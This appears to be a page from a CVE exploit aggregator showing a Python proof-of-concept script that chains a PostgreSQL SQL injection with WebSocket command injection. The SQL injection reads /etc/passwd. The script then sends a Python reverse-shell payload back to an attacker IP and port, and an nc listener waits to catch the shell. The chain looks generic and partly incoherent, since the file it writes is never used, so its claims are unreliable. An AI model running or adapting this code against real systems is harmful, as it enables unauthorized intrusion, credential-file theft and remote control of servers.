4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
import websocket
import requests
import time
import threading
import os

# Target settings
TARGET_URL = "http://vulnerable-site.com/vuln-endpoint"
WEBSOCKET_URL = "ws://vulnerable-site.com/socket"
REVERSE_IP = "YOUR_IP"
REVERSE_PORT = 4444

# **1. Perform SQL Injection to create a malicious file on the server**
sql_payload = """SELECT lo_export(
  (SELECT convert_from(pg_read_file('/etc/passwd'), 'UTF8')), 
  '/tmp/payload'
);"""

# Send SQLi to the server
requests.post(TARGET_URL, data={"input": sql_payload}, headers={"Content-Type": "application/x-www-form-urlencoded"})

print("[+] SQL Injection executed, file saved at /tmp/payload.")

# **2. Set up WebSocket and execute RCE**
def on_message(ws, message):
    print("[+] Received message from WebSocket:", message)
    # Execute RCE using WebSocket
    exploit_payload = f"""import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("{REVERSE_IP}",{REVERSE_PORT})); 
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);"""
    
    ws.send(f"EXECUTE_COMMAND:{exploit_payload}")

def on_open(ws):
    print("[+] WebSocket connection established.")
    ws.send("INITIATE_EXPLOIT")

# **3. Perform WebSocket Hijacking**
def start_websocket_exploit():
    ws = websocket.WebSocketApp(WEBSOCKET_URL, on_message=on_message, on_open=on_open)
    ws.run_forever()

# **4. Start listener to receive the shell**
def start_listener():
    print(f"[+] Listening on {REVERSE_PORT}...")
    os.system(f"nc -lvnp {REVERSE_PORT}")

# Start WebSocket Hijack in a separate thread
threading.Thread(target=start_websocket_exploit).start()
time.sleep(2)

# Start Listener to receive Reverse Shell
start_listener()